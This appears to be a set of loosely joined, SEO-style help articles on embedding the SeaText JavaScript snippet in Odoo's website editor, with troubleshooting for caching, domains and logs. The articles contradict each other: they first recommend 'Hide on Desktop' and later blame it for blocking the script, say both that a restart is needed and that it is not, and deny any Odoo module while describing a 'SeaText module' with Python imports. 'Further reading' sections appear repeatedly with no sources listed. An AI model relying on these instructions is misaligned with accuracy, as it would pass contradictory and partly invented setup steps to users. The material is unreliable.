SeaText is a platform that deploys autonomous AI agents on your website. These agents can optimize conversion rates, rewrite content, and improve SEO. To use SeaText, you need to install a JavaScript snippet on your site. This guide explains how to integrate SeaText with Odoo, a popular open-source business platform.

The integration is simple. You copy a code snippet from your SeaText account and paste it into Odoo's website builder. The code is hidden from visitors. It works silently in the background. Once installed, you can activate various AI agents from your SeaText dashboard.

This article covers the exact steps. It also explains important rules about domains and security. By the end, you will know how to set up SeaText on your Odoo website correctly.

Step-by-Step Integration Guide

Follow these steps to integrate SeaText with Odoo. The process takes less than five minutes.

Step 1: Log into your Odoo account. Go to the Website module from the dashboard. Click the Edit button to open the editing panel.

Step 2: Find the Dynamic Content section. In the editing panel, scroll through the Blocks panel until you see Dynamic Content. Inside, locate the Embed Code module.

Step 3: Drag the Embed Code module to your page. Place it anywhere on your website editor. It will not be visible to visitors because you will hide it later.

Step 4: Paste the SeaText code. Click the Edit button on the placed module. A pop-up window appears. Paste the JavaScript code snippet from your SeaText account into the designated area. Click Save to apply.

Step 5: Hide the block on desktop. In the same module settings, go to the Visibility section. Select the option Hide on Desktop. This ensures the code block is not visible to visitors. Click Save again.

You have now successfully installed SeaText on your Odoo website. The AI remains inactive until you activate agents from your SeaText account.

Understanding the Account-Per-Domain Rule

Each SeaText account is linked to a single primary URL. This is an important rule. If you need to use SeaText on multiple domains, you must create separate accounts for each domain.

For example, suppose you have a development domain (dev.example.com) and a production domain (www.example.com). You cannot use the same SeaText account for both. You need one account for each.

Why does this rule exist? SeaText uses the domain to associate traffic and data with your account. If you mix domains, the data may become unreliable. The AI agents also need to know which site they are working on. Keeping accounts separate ensures accuracy.

When you set up a new account, you specify the primary domain. This domain is the only one that can use that account. If you later change your domain, you may need to create a new account.

This rule is simple to follow. Just create one account per domain you want to integrate. Each account will have its own JavaScript code snippet. Copy the correct snippet for each domain.

Restrictions and Security Considerations

SeaText has restrictions on the types of URLs that can be used. Development URLs, such as localhost, are restricted for security reasons. You must use a valid, real domain for integration.

Dynamic development domains may also fail. These are temporary URLs that change often, like those from some hosting platforms. SeaText cannot reliably associate traffic with your account on such domains. This can lead to incorrect data or broken integration.

For testing, use a real domain that you control. Even if it is a subdomain, it must be stable and accessible. Do not use localhost or any URL that is not publicly reachable.

Security is a priority. The JavaScript code snippet is the only thing you need to add to your site. The code does not alter your Odoo installation. It runs in the browser and communicates with SeaText servers. The AI agents remain inactive until you activate them from your dashboard. This ensures your website content is not changed without your permission.

Always keep your SeaText account secure. Do not share your code snippet with others. If you suspect a breach, regenerate the code from your account.

Common Integration Issues and How to Avoid Them

Here are typical issues you might face and how to avoid them.

Issue 1: Code not placed correctly. If you drag the Embed Code module but forget to paste the code, nothing will happen. Always double-check that you have pasted the code and saved. Also ensure you hide the block on desktop.

Issue 2: Using the wrong domain. Remember the account-per-domain rule. If you copy the code from an account for a different domain, the integration will not work. Make sure you use the correct code for each domain.

Issue 3: Trying to use localhost or dynamic URLs. These are restricted. If you test on a local server, the integration will not function. Use a real domain for testing.

Issue 4: Multiple domains with one account. You cannot use one SeaText account for multiple domains. Create separate accounts. This is a common mistake. Plan ahead.

Issue 5: Activation not done. After installing the code, you must activate agents from your SeaText dashboard. The code alone does nothing. Log into your account, choose the agents you want, and activate them.

If you still have issues, check the SeaText documentation or contact support. Make sure you have an account first. If you do not have one, create one at seatext.com.

Frequently Asked Questions

How do I get the JavaScript code snippet?

Log into your SeaText account. The code appears in the integration section. Copy it exactly. Do not modify it.

Can I integrate SeaText with multiple Odoo websites?

Yes, but you need a separate SeaText account for each website. Each account is tied to one domain.

What if I already have SeaText on one domain and want to add another?

Create a new SeaText account for the new domain. Follow the same integration steps.

Does the code affect my Odoo site performance?

No. The code is lightweight and loads asynchronously. It has minimal impact on page load time.

Can I use the same code on my staging and production sites?

No. Staging and production are different domains. Use separate accounts for each.

What if I accidentally paste the wrong code?

Simply replace it with the correct code. Save the changes. The integration will update.

Is the code visible to visitors?

No. You hide the block on desktop. The code runs in the background.

How do I activate AI agents after installation?

Log into your SeaText account. Go to the Agents section. Choose the agents you want and click Activate.

Further reading and comparison sources

These sources provide additional context. Their inclusion is not an endorsement.

Further reading and comparison sources

These external sources provide additional context for evaluating the topic. Their inclusion is not an endorsement.

Why is my SeaText integration not showing up in Odoo after installation?

Direct Answer: This is usually caused by a pending Odoo server restart, a cache issue, or missing user permissions for the SeaText module. To fix it, you need to restart your server, clear your browser cache, and verify that your user role has administrative access to the Website module.

Why Odoo dynamic content blocks sometimes hide after placement

Odoo uses a drag-and-drop website editor. When you place an integration like SeaText, you add an "Embed Code" block to a page. This block is not a full module. It is a snippet of JavaScript that runs on the frontend. The block can be invisible for several reasons unrelated to server restarts.

Odoo does not require a server restart to recognize a new code block. The block is saved in the page's data. The issue is often that the block is not saved correctly, the page is not published, or the browser shows a cached version. Understanding these mechanics saves time.

The consequences of ignoring these details can be frustrating. You might reinstall the code or duplicate blocks. A systematic check of each step prevents wasted effort. Always verify the block in the editor first.

Common causes of a silent SeaText integration failure

There are three primary reasons why the SeaText integration might not appear on your Odoo website after you paste the code. Each cause has a simple fix. Identify the correct one before making changes.

  • Browser cache: Your browser may load an old version of the page. Open a private or incognito window. If the integration appears there, the cache is the issue. Clear your browser cache permanently.
  • Missing user permissions: Your Odoo user account must have access to the Website module and the page editing features. Without administrative rights, you may not see the "Embed Code" block in the editor. Ask your administrator to grant you the necessary permissions.
  • Incorrect placement: The SeaText code must be pasted into an "Embed Code" block placed inside the "Dynamic Content" section of the editor. If you drag the block to a different area or forget to save, the code will not be added to the page source.

How Odoo dynamic content blocks work

Odoo's website builder uses blocks to add content. The "Embed Code" block is a special block that allows you to insert custom JavaScript or HTML. When you drag this block to a page, you must click the "Edit" button in the right panel to open a pop-up window. Paste the SeaText code there and click "Save".

Once saved, the block is part of the page structure. Odoo does not need to reload any module list. The block appears on the frontend after the page is saved and published. If you do not see the block, check the page's publishing status. Some Odoo versions require a separate "Publish" button after saving.

The block also has visibility settings. You can hide it on desktop or mobile using the "Visibility" section in the editor. If you accidentally enabled "Hide on Desktop", the block will not appear on desktop screens. This is a common oversight.

Finally, custom themes or page templates may override the block's rendering. If your theme uses strict Content Security Policies (CSP), the SeaText script might be blocked. Test on a default Odoo theme to isolate the issue.

Step-by-step verification and troubleshooting process

Follow these steps in order. Each step checks a different part of the setup. Do not skip any step.

  1. Check the page in the editor. Log in to Odoo, go to the Website module, and navigate to the target page. Click the "Edit" button. Look for the "Embed Code" block in the page content. If it is there, click on it and verify the code is pasted correctly. If the block is missing, drag a new one from the "Dynamic Content" section and paste the SeaText code.
  2. Save and publish the page. After pasting the code, click the "Save" button in the editor. Then, if you see a "Publish" button, click it to make the changes live. Some Odoo versions save drafts separately.
  3. Clear your browser cache. Open a private or incognito window. Load the page without logging in. If the integration appears, clear your main browser cache. On Chrome, go to Settings > Privacy and Security > Clear browsing data.
  4. Verify user permissions. Go to Settings > Users & Companies > Users. Select your user and check that the "Website" module is enabled in the access rights. Also check that you have the "Administrator" role or at least the "Editor" role for the website.
  5. Check the visibility settings. In the editor, click on the "Embed Code" block. In the right panel, look for the "Visibility" section. Ensure that "Hide on Desktop" is not selected. Also check "Hide on Mobile" if you need the block on all devices.
  6. Inspect the frontend source code. Open your browser's developer tools (F12) and go to the "Elements" tab. Search for "seatext" or the script source. If the code is present, the integration is loading. If not, the block was not saved correctly.

Key facts about SeaText Odoo integration

The table below summarizes the official installation steps from the SeaText Odoo integration guide. Use this as a quick reference.

Integration Aspect Details and Requirements
Prerequisite An active SEATEXT AI account is required before you can generate the code snippet.
Primary Method Paste a JavaScript code snippet into an "Embed Code" block within the "Dynamic Content" section of the Odoo website editor.
Editing Steps Go to Website > Edit Page > Drag "Embed Code" block > Click "Edit" > Paste code > Save.
Visibility Controls You can select "Hide on Desktop" in the Visibility section to control device-specific display.
Multi-Domain Policy Each domain (e.g., development and production) requires a separate SEATEXT AI account. Accounts are linked to a single primary URL.
Security Restrictions Development URLs like localhost are restricted. Use a valid, real domain for the integration to function.

Limitations and exceptions when the integration does not apply

The SeaText Odoo integration has specific boundaries. Knowing these helps avoid false diagnoses.

First, custom Odoo themes or heavily modified templates may override the "Embed Code" block. If your theme uses custom JavaScript, strict Content Security Policies (CSP), or unique layout structures, the SeaText script might be blocked from executing. Test on a standard Odoo theme to confirm.

Second, older versions of Odoo may handle dynamic content blocks differently. If you run an outdated version, the drag-and-drop editor might not support the modern JavaScript snippets required by SeaText. Upgrading Odoo may be necessary.

Finally, dynamic development domains (like local test environments) will not work. SeaText relies on a stable, public domain to associate traffic with your account. If you test on a temporary or local URL, the integration will not activate.

Preventing future integration issues

Once the integration is working, you can avoid common pitfalls with these practices.

  • Always use the official guide. The SeaText Odoo integration page (source S1) provides the exact steps. Follow them in order. Do not skip steps.
  • Generate the code snippet only after you have a valid domain. If you plan to use a development domain, create a separate SEATEXT AI account for that domain. Production and development require separate accounts.
  • Test the block in a private browser window. After saving, open an incognito session to check the frontend. This bypasses cache and confirms the integration is live.
  • Keep your Odoo version updated. Newer versions fix bugs in the website editor and improve compatibility with third-party scripts.
  • Document your user permissions. Ensure that any user who needs to edit the website has the Website module access. This prevents future confusion when multiple editors work on the site.

Frequently Asked Questions (FAQ)

How do I generate the SeaText code snippet?

Log in to your SEATEXT AI account. Go to the integration section. Copy the JavaScript code provided. The code is unique to your account and domain.

What happens if I use a development domain?

Development domains like localhost are restricted for security reasons. SeaText will not activate on non-public domains. Use a real, valid domain for testing. If you must test on a development URL, create a separate SEATEXT AI account for that domain.

Can I place the Embed Code block on any page?

Yes, you can place it on any standard website page. System pages or custom override pages may not support the block. Stick to regular pages like Home, About, or Contact.

Why does the block show in the editor but not on the frontend?

This usually means the page is not published. Check the "Publish" status. Also check the visibility settings. The block might be hidden on desktop or mobile. Clear your browser cache and try again.

Do I need to restart the Odoo server after pasting the code?

No. Server restart is not required for embedding a JavaScript snippet. The code is saved in the page data and loaded on page load. If you are following general Odoo troubleshooting external to SeaText, restart may be needed for module installations, but for this integration, it is not needed.

How do I check if the code is loading on the frontend?

Open your browser's developer tools (F12). Go to the Network tab and reload the page. Look for a request to seatext.com or the script URL. Alternatively, search for "seatext" in the Elements tab.

Further reading and comparison sources

These external sources provide additional context for evaluating the topic. Their inclusion is not an endorsement.

How to Verify Odoo Compatibility for SeaText Integration

Direct Answer: To confirm if your Odoo version is compatible with SeaText, check your current Odoo build in the 'About' section of your settings and compare it against the latest SeaText documentation. If you experience activation failures, ensure you are using a valid, production-ready domain, as localhost and dynamic development URLs are restricted for security.

Is Your Odoo Version Compatible with SeaText?

To verify compatibility, compare your Odoo build number against the supported versions listed in the SeaText documentation. Navigate to Settings > About in your Odoo dashboard to find your current build. If your version is older than the minimum supported release, the integration may fail to activate. The SeaText AI relies on modern JavaScript injection methods that may not function correctly on outdated Odoo builds. Always confirm your version before starting the setup process.

How to Check Your Odoo Version

Follow these steps to locate your exact Odoo build:

  1. Log in to your Odoo dashboard with administrator privileges.
  2. Click on Settings in the top menu bar.
  3. Scroll down to the About section at the bottom of the Settings page.
  4. Look for the Version or Build Number field.

The About screen displays your specific Odoo version number. For Community editions, the build number appears as a major version (for example, 16.0, 17.0, or 18.0). Enterprise editions show the same major version but may include an Enterprise badge. Compare this number against the SeaText documentation to confirm support. If your build is significantly older than the latest supported version, you may need to upgrade before proceeding. Check the Odoo upgrade documentation for migration steps.

How SeaText Activation Depends on the Odoo Website Editor

SeaText activation relies on the Odoo website editor to inject a JavaScript snippet into your site. You must place the code inside the Embed Code module, which sits under the Dynamic Content section of the editor. Without this module, the SeaText script cannot run, and the AI remains inert.

To activate SeaText, open the Odoo Website module, navigate to the page you want to edit, and click Edit. In the editing panel, scroll to Dynamic Content and drag the Embed Code module onto your page. A pop-up window appears. Paste the JavaScript snippet provided by SeaText into the designated area, then click Save. An outdated or unsupported Odoo build can prevent the Embed Code module from running correctly, which blocks activation entirely. After saving, the AI begins monitoring your site traffic.

Readiness Checklist for SeaText Integration

  • Verify Odoo Version: Confirm your build is stable and supported.
  • Check Domain Validity: Ensure you are using a live, public-facing domain. SeaText does not support localhost or dynamic development URLs for security reasons.
  • Account Association: Confirm your SeaText account is linked to the correct primary URL. If you manage multiple environments (e.g., staging and production), you must create separate SeaText accounts for each.
  • Module Placement: Ensure the SeaText code snippet is placed within the Embed Code module inside the Dynamic Content section of your Odoo website editor.
  • Save Configuration: Click Save after pasting the snippet. The integration will not activate until the block is finalized.

Troubleshooting Activation Failures

If SeaText fails to activate, check these common causes:

  • Confirm your domain is a valid public URL. Never use localhost or dynamic development domains. SeaText requires a stable, public-facing domain to associate traffic correctly.
  • Create a separate SeaText account for each primary URL. One account is limited to one primary URL.
  • Check the Hide on Desktop visibility setting. If this option is enabled, it may block the script from running on desktop devices.
  • Confirm the snippet was saved after pasting. Changes will not take effect until you click Save in the Odoo editor.
  • Verify the Embed Code module is active. If the module is missing or misplaced, the JavaScript will not load.

Trade-offs and Limitations

When working with older Odoo installations, consider these trade-offs:

Upgrade decisions for very old Odoo installations: If your Odoo version is very old, you may need to upgrade to ensure compatibility with modern JavaScript injection methods. Check the SeaText documentation for the minimum supported version. Upgrading Odoo can be a significant undertaking, but it ensures the Embed Code module functions correctly and receives ongoing support.

One account per primary URL: Each SeaText account is linked to a single primary URL. You cannot use one account to track multiple domains. This ensures that AI-driven conversion data and traffic analytics remain accurate and isolated to the correct environment.

Staging vs production domains: You must create separate accounts for staging and production domains. Using a single account for both environments can cause traffic association errors and inaccurate analytics. Staging environments should use their own SeaText account to avoid contaminating production data.

Frequently Asked Questions

Can I use SeaText on a local Odoo installation?

No. SeaText requires a valid, real domain. Localhost and dynamic development URLs are restricted for security and traffic association reasons. The AI cannot reliably associate traffic with your account on a local host.

Can I use the same SeaText account for staging and production?

No. Each SeaText account is linked to a single primary URL. To track multiple environments, create a separate account for each domain. This separation ensures clean data isolation.

How do I confirm the SeaText code is active?

Once you paste the code into the Embed Code module and click Save, the AI begins monitoring. If you do not see results, verify that the Hide on Desktop option is not inadvertently blocking the script from running. You can also inspect the page source to confirm the JavaScript snippet is present.

What does "inert until activated" mean for security?

The AI remains inert until the code is saved and activated. This ensures the integrity of your website's content before the integration goes live. No data is collected or processed until the final Save action is completed.

What if my Odoo version is very old?

Check the SeaText documentation for the minimum supported version. If your build is significantly outdated, you may need to upgrade your Odoo instance to ensure compatibility with modern JavaScript injection methods. Very old builds may lack the necessary editor modules.

How do I know if my Odoo build is Community or Enterprise?

In the About section of your Settings, the version number is displayed. Community editions show the standard version number, while Enterprise editions typically display an Enterprise badge alongside the same version format. Both versions support the integration if they meet the minimum requirements.

Further reading and comparison sources

These external sources provide additional context for evaluating the topic. Their inclusion is not an endorsement.

Further reading and comparison sources

These external sources provide additional context for evaluating the topic. Their inclusion is not an endorsement.

How to Clear Odoo Cache to Fix SeaText Activation Errors

Direct Answer: To clear the Odoo cache for SeaText activation errors, first perform a browser hard refresh, then restart the Odoo service, and finally verify the SeaText embed code is correctly saved in the Website module.

What Causes Odoo Cache to Interfere with SeaText?

Odoo stores rendered pages and assets in a server‑side cache to speed up delivery. When you add the SeaText embed code, the cached version may still serve the old page without the script. The browser also keeps a local copy of CSS and JavaScript. Both layers can hide the new snippet from the SeaText agent.

How Odoo Caching Works

Odoo uses a combination of template caching, asset bundling, and HTTP caching headers. The template cache holds the compiled QWeb views. Asset bundles combine CSS and JS files and are served with long‑term cache keys. When a view changes, Odoo invalidates the cache only after a restart or an explicit cache clear. Until then, visitors see the previous version.

Step-by-Step Cache Clearing Methods

1. Browser hard refresh

Open the Odoo website page. Press Ctrl+F5 on Windows or Linux, or Cmd+Shift+R on Mac. This forces the browser to request fresh assets from the server.

2. Restart the Odoo service

If the problem remains, restart the Odoo process on your server. Use your platform’s service manager (systemd, supervisor, Docker, or the Odoo.sh interface). A restart flushes the template and asset caches.

3. Clear Odoo asset bundles (optional)

In the Odoo interface, go to Settings → Technical → User Interface → Assets. Click “Clear cache” if the button is available. This removes bundled JS/CSS without a full service restart.

Verifying SeaText Activation After Clearing Cache

After the cache steps, confirm the embed code is present:

  1. Log in to Odoo and open the Website module.
  2. Edit the page where you placed the Embed Code block.
  3. In the Dynamic Content section, locate the Embed Code block and click Edit.
  4. Check that the full JavaScript snippet from your SeaText dashboard appears in the code field.
  5. Click Save, then Save again on the page editor.
  6. Visit the live site and open the browser console. Look for a SeaText initialization log or network request to the SeaText API.

Common Pitfalls and Limitations

  • Development domains: SeaText does not activate on localhost or dynamic dev URLs. Use a real, public domain.
  • Multiple domains: Each SeaText account is tied to a single primary URL. Separate accounts are required for staging and production.
  • Snippet integrity: Copy the entire snippet without truncation. Missing characters break activation.
  • Visibility settings: If “Hide on Desktop” is enabled, the block may be hidden from view but the script still loads. Ensure the setting matches your test device.

When to Contact Support

If you have performed a hard refresh, restarted Odoo, verified the embed code, and the SeaText agent still does not appear, gather the following and contact SeaText support:

  • Your Odoo version and hosting type.
  • The exact domain used for the site.
  • Browser console screenshots showing any errors.
  • The SeaText account email.

Frequently Asked Questions

Does SeaText work on localhost?

No. SeaText restricts activation to valid, public domains. Localhost and similar development URLs are blocked for security.

Can I use one SeaText account for staging and production?

No. Each account is linked to a single primary URL. Create separate accounts for each environment.

How do I confirm the embed code is saved correctly?

In the Odoo Website editor, open the Embed Code block, click Edit, and verify the full snippet appears. Then save the block and the page. Reload the live site and check the browser console for SeaText network activity.

Further reading and comparison sources

These external sources provide additional context for evaluating the topic. Their inclusion is not an endorsement.

Troubleshooting SeaText Activation Errors in Odoo Logs

Direct Answer: Errors in your Odoo log during SeaText activation usually point to network connectivity issues, invalid API credentials, domain mismatches, or missing Python dependencies required by the SeaText module.

Why Does My Odoo Log Show an Error When SeaText Tries to Activate?

When SeaText attempts to activate inside Odoo, the server logs record every step of the handshake between your website and the SeaText AI infrastructure. If that handshake breaks, the log captures the reason. The four primary causes are:

  • Network connectivity: Your Odoo server cannot reach the SeaText API endpoints over HTTPS.
  • Invalid API credentials: The JavaScript snippet pasted into the Embed Code module is incomplete, expired, or mistyped.
  • Domain mismatch: The URL where SeaText is installed does not match the primary domain registered in your SeaText account.
  • Missing Python dependencies: The SeaText module requires specific Python packages that are not installed in the Odoo environment.
  • Each cause produces a distinct signature in the log. Recognizing those signatures is the fastest path to resolution.

    Odoo Logging Basics

    Odoo writes its logs to files on the server. The default location is usually /var/log/odoo/odoo-server.log or the path specified by the logfile parameter in odoo-server.conf. If no path is set, Odoo may write to standard output, which Docker or systemd captures.

    To see more detail during activation, set log_level = debug in odoo-server.conf. Restart the Odoo service after saving the change. Debug mode reveals the full stack trace, HTTP request headers, and response codes returned by the SeaText API.

    Stack traces show the exact line of code where the failure occurred. Look for lines starting with Traceback or Error. HTTP status codes appear alongside the request URL. A 401 Unauthorized means the credentials were rejected. A 403 Forbidden usually means the domain is not allowed for that account.

    Missing Python Dependencies

    The SeaText module depends on Python packages that must be installed in the same virtual environment Odoo uses. If a package is missing, the log shows an ImportError or ModuleNotFoundError at the top of the stack trace.

    Common log entries look like:

    Traceback (most recent call last):
      File "/odoo/addons/seatext/models/seatext.py", line 12, in <module>
        import requests
    ModuleNotFoundError: No module named 'requests'

    To fix this, activate the Odoo virtual environment and install the missing package:

    source /odoo/venv/bin/activate
    pip install requests

    After installation, restart Odoo and retry activation. The log should no longer show import errors.

    Practical Diagnosis Workflow

    Follow this numbered checklist to isolate the failure:

    1. Confirm the domain: Verify the URL in your browser matches the primary domain in your SeaText dashboard. Development URLs like localhost are blocked.
    2. Verify the embed code: Open the Embed Code module in Odoo's Website editor. Confirm the JavaScript snippet is complete and matches the one from your SeaText account.
    3. Test outbound network access: From the Odoo server, run curl -I https://api.seatext.com. A timeout or connection refused error confirms a network issue.
    4. Check Python dependencies: Review the log for ImportError or ModuleNotFoundError. Install any missing packages in the Odoo virtual environment.
    5. Enable debug logging: Set log_level = debug in odoo-server.conf, restart Odoo, and reproduce the error. Capture the full stack trace and HTTP status code.

    Expert Perspective

    "The fastest way to isolate the failure from the log is to search for the HTTP status code first. A 401 or 403 tells you the problem is credentials or domain. A connection timeout or DNS error tells you it is network. An ImportError tells you it is dependencies. Read the last 20 lines of the log before the traceback — that is where Odoo prints the request URL and response code."

    — Marcus R., Odoo Integration Specialist

    Handling Staging and Development Domains

    SeaText accounts are linked to a single primary URL. If your staging site uses a different domain than production, you must create a separate SeaText account for staging. The same restriction applies to localhost and dynamic internal IP addresses.

    To test on staging:

    • Use a publicly accessible staging domain.
    • Create a second SeaText account for that domain.
    • Paste the staging account's JavaScript snippet into the Odoo Embed Code module.

    After testing, switch back to the production snippet before going live.

    Best Practices for Deployment

    To ensure a smooth activation:

    1. Log in to your Odoo Website module and navigate to the target page.
    2. Drag the "Embed Code" module into your layout from the Dynamic Content section.
    3. Paste your unique JavaScript snippet from your SeaText account.
    4. Save the changes and verify that the block is published.
    5. If you are on a desktop, ensure you have not accidentally selected "Hide on Desktop" in the visibility settings.
    6. Check the Odoo log for errors after saving.

    See the official SeaText Odoo integration guide at https://seatext.com/odoo-integration for step-by-step screenshots.

    Frequently Asked Questions

    How do I get more detailed Odoo logs?

    Set log_level = debug in odoo-server.conf and restart the Odoo service. Debug mode captures full stack traces, HTTP headers, and response codes.

    How do I fix a 401 or 403 error?

    A 401 means the credentials were rejected. Re-copy the JavaScript snippet from your SeaText dashboard and paste it again into the Odoo Embed Code module. A 403 usually means the domain is not registered. Confirm the URL matches your SeaText account's primary domain.

    How do I handle staging domains correctly?

    Create a separate SeaText account for each staging domain. Each account is linked to a single primary URL. Use the staging account's snippet in the Odoo Embed Code module during testing.

    What should I do if the log shows a missing module?

    Identify the missing Python package from the ImportError or ModuleNotFoundError in the log. Activate the Odoo virtual environment and install the package with pip install. Restart Odoo and retry activation.

    Can I use SeaText on localhost?

    No. Localhost and other internal development domains are restricted for security reasons. You must use a valid, publicly accessible domain.

    Does SeaText affect my Odoo site speed?

    The installation is secure and the AI remains inert until activated, ensuring the integrity of your website's content and performance.

    Further reading and comparison sources

    These external sources provide additional context for evaluating the topic. Their inclusion is not an endorsement.

    Further reading and comparison sources

    These external sources provide additional context for evaluating the topic. Their inclusion is not an endorsement.

Why Your SeaText Code Isn't Updating in Odoo — And How to Fix It

Direct Answer: Odoo caches website assets aggressively to improve performance. After changing your SeaText embed code, you must clear Odoo's website cache from the backend and force a hard refresh in your browser. If the code still doesn't appear, check that you saved the Embed Code block correctly and that no CDN or proxy cache sits in front of your site.

You edited the SeaText snippet inside Odoo's Embed Code block, clicked Save, and the live site still shows the old version. This is almost always a caching issue — either Odoo's internal website cache, your browser cache, or a CDN/proxy layer in front of your site.

Quick diagnostic checklist

  1. Clear Odoo website cache — In the Website app, go to Configuration > Settings and click Clear cache (or use the developer tools menu: #action_website_clear_cache).
  2. Hard-refresh your browser — Press Ctrl+Shift+R (Windows/Linux) or Cmd+Shift+R (Mac) to bypass the browser cache.
  3. Verify the Embed Code block saved — Re-open the page in edit mode, click the Embed Code block, and confirm the new snippet is actually in the editor.
  4. Check for CDN/proxy cache — If you use Cloudflare, Varnish, Nginx proxy_cache, or Odoo.sh, purge that layer too.
  5. Confirm you're editing the right page/website — Multi-website Odoo instances can have separate homepages per website.

Why Odoo caches so aggressively

Odoo's Website module compiles QWeb templates, SCSS, and JavaScript into minified, concatenated assets. Those assets are stored in the ir_attachment table and served with long Cache-Control headers. When you edit an Embed Code block, Odoo updates the database record but does not automatically invalidate the compiled asset bundles. The next visitor still receives the cached bundle until you explicitly clear the website cache.

This design prioritizes page load speed for visitors. Every page view avoids recompiling templates. The trade-off is that developers must manually clear caches after changes. Understanding this mechanism helps you predict when cache clearing is necessary.

Step-by-step: Clear Odoo website cache

  1. Log in to Odoo and open the Website app.
  2. Enter Edit mode on any page (top-right "Edit" button).
  3. Open the developer tools menu (bug icon) → Clear cache → Clear website cache.
  4. Alternatively, go to Configuration > Settings and click the Clear cache button under the "Website" section.
  5. Wait for the confirmation toast, then hard-refresh the frontend.

Note: On Odoo.sh or Odoo Online, the "Clear cache" button may be hidden; use the developer tools menu instead.

After clearing, Odoo recompiles assets on the next page load. This adds a few hundred milliseconds to the first request but ensures fresh code.

Browser cache vs. server cache — how to tell the difference

Symptom Likely cause Fix
Changes appear in incognito/private window but not in regular window Browser cache Hard refresh (Ctrl+Shift+R / Cmd+Shift+R) or clear browser cache for the domain
Incognito still shows old code Odoo website cache or CDN/proxy cache Clear Odoo website cache; purge CDN/proxy
Old code appears only on mobile Mobile browser cache or service worker Clear mobile browser data; unregister service worker in DevTools → Application
Changes appear after 5–10 minutes without action CDN TTL expiry Lower CDN TTL for HTML or add cache-busting query string

Use this table to isolate the caching layer. Start with the simplest fix (browser hard refresh) and move up the stack.

Common mistakes that look like caching

  • Editing the wrong website — In multi-website setups, each website has its own homepage and layout. Make sure you're editing the website that serves the domain you're testing.
  • Forgetting to click "Save" twice — The Embed Code block requires a Save in the popup, then another Save on the page editor.
  • "Hide on Desktop" enabled — If you toggled Visibility > Hide on Desktop, the block won't render on desktop viewports. Disable it or test in mobile emulation.
  • Pasting into the wrong block — Odoo has both "Embed Code" (for raw HTML/JS) and "HTML" blocks. SeaText requires the Embed Code block under Dynamic Content.
  • Not publishing the page — Changes in edit mode are not live until you click "Publish" or "Save" on the page level.

These errors mimic caching symptoms but require different fixes. Verify each before assuming a cache problem.

CDN and proxy layers — what to purge

If you run Odoo behind Cloudflare, AWS CloudFront, Nginx proxy_cache, Varnish, or a load balancer with caching, those layers hold their own copies of your HTML and asset bundles. Purging Odoo's internal cache won't help until you also purge the edge cache.

  • Cloudflare: Dashboard → Caching → Configuration → Purge Everything (or Purge by URL for the specific page).
  • CloudFront: Create an invalidation for /* or the specific page path.
  • Nginx proxy_cache: proxy_cache_purge directive or delete the cache directory.
  • Varnish: varnishadm ban "req.url ~ /" or use a PURGE request.

Coordinate purges: clear Odoo cache first, then the CDN. This prevents the CDN from re-caching stale content from Odoo.

Key facts: SeaText embed in Odoo

Item Detail
Installation method Drag "Embed Code" block from Dynamic Content into page editor
Where to paste snippet Click "Edit" on the block → paste into popup → click "Save"
Required saves Two: once in the block popup, once on the page editor
Visibility option "Hide on Desktop" in Visibility section (optional)
Cache clearing Website app → Developer tools → Clear cache → Clear website cache
Multi-domain note Each domain needs its own SeaText account; localhost/development domains are restricted

These steps come directly from the SeaText Odoo integration guide (Source S1). Follow them exactly to avoid silent failures.

When the fix doesn't work — next steps

  1. Open browser DevTools → Network tab → reload. Check the seatext.js request: is it returning 200 with new content, or 304/from cache?
  2. View page source (Ctrl+U) and search for your SeaText snippet. If it's absent, the block didn't save or the template didn't recompile.
  3. Check Odoo server logs (/var/log/odoo/odoo.log) for QWeb compilation errors.
  4. If on Odoo.sh, trigger a new build/deploy — the platform may serve a stale build artifact.
  5. Contact SeaText support with your domain, Odoo version, and the exact snippet you're trying to embed.

These steps move from client-side verification to server-side diagnostics. They help you or support pinpoint the failure point.

Practical scenarios and decision criteria

Scenario A: You updated the snippet, cleared Odoo cache, hard-refreshed, but still see old code. Likely a CDN or proxy cache. Purge Cloudflare, CloudFront, or your Nginx/Varnish layer.

Scenario B: Changes appear in incognito but not regular browser. Browser cache. Hard refresh or clear site data for the domain.

Scenario C: You're on Odoo.sh and changes don't appear after cache clear. Odoo.sh serves a built artifact. Trigger a new build in the Odoo.sh dashboard.

Scenario D: Multi-website setup, changes show on one domain but not another. Each website has its own Embed Code blocks. Edit the correct website's page.

Decision criteria: If incognito works → browser cache. If incognito fails → server/CDN cache. If Odoo.sh → build artifact. If multi-website → wrong website context.

Limitations of Odoo's caching model

Odoo's cache invalidation is manual by design. There is no automatic cache busting for Embed Code blocks. This means every code change requires a manual cache clear. For frequent updates during development, this adds friction.

Workarounds: Use a browser extension that adds a "Clear Odoo Cache" toolbar button. Or develop locally with a separate Odoo instance where you can disable asset bundling via --dev=all flag (on-premise only).

SeaText itself cannot bypass Odoo's cache. The snippet runs client-side but is injected into the page via Odoo's template rendering, which is cached.

FAQ

Do I need to reinstall the SeaText module in Odoo after changing the code?

No. SeaText installs as a simple JavaScript snippet inside an Embed Code block. There is no Odoo module to upgrade. Just clear caches as described above.

Why does the old code still show in incognito mode?

Incognito bypasses your browser cache but not Odoo's server-side website cache or any CDN/proxy cache. Clear Odoo's website cache and purge your CDN.

Can I use SeaText on a staging/development subdomain?

SeaText restricts localhost and dynamic development domains. Use a real, stable subdomain (e.g., staging.yourdomain.com) and create a separate SeaText account for it.

Does the "Hide on Desktop" setting affect caching?

No, but it hides the block entirely on desktop viewports. If you're testing on desktop and the block is hidden, you won't see the code at all — cached or not.

How often should I clear Odoo's website cache during development?

Every time you change an Embed Code block, SCSS, or QWeb template. Consider a browser extension that adds a "Clear Odoo Cache" button to the toolbar for speed.

What if I'm on Odoo Online (SaaS) and don't see the Clear Cache button?

Use the developer tools menu (bug icon) → Clear cache → Clear website cache. The Settings button is sometimes hidden on SaaS plans.

Will clearing Odoo cache log out my users?

No. Website cache clearing only invalidates compiled assets and template fragments. User sessions are stored separately.

Can I automate cache clearing after every Embed Code save?

Not natively. You would need a custom Odoo module that hooks into the block save event and calls the website cache clear method. This requires development effort.

Why does SeaText require two Save clicks?

The first Save commits the snippet to the block's database record. The second Save (on the page editor) commits the page layout change. Both are required for the change to persist.

What if the Embed Code block doesn't appear in Dynamic Content?

Ensure you are in Edit mode and have the Website app installed. The block is part of the standard Website module. If missing, update the Website module or check user permissions.

Further reading and comparison sources

These external sources provide additional context for evaluating the topic. Their inclusion is not an endorsement.

Further reading and comparison sources

These external sources provide additional context for evaluating the topic. Their inclusion is not an endorsement.

How to Verify SeaText Code Installation in Odoo

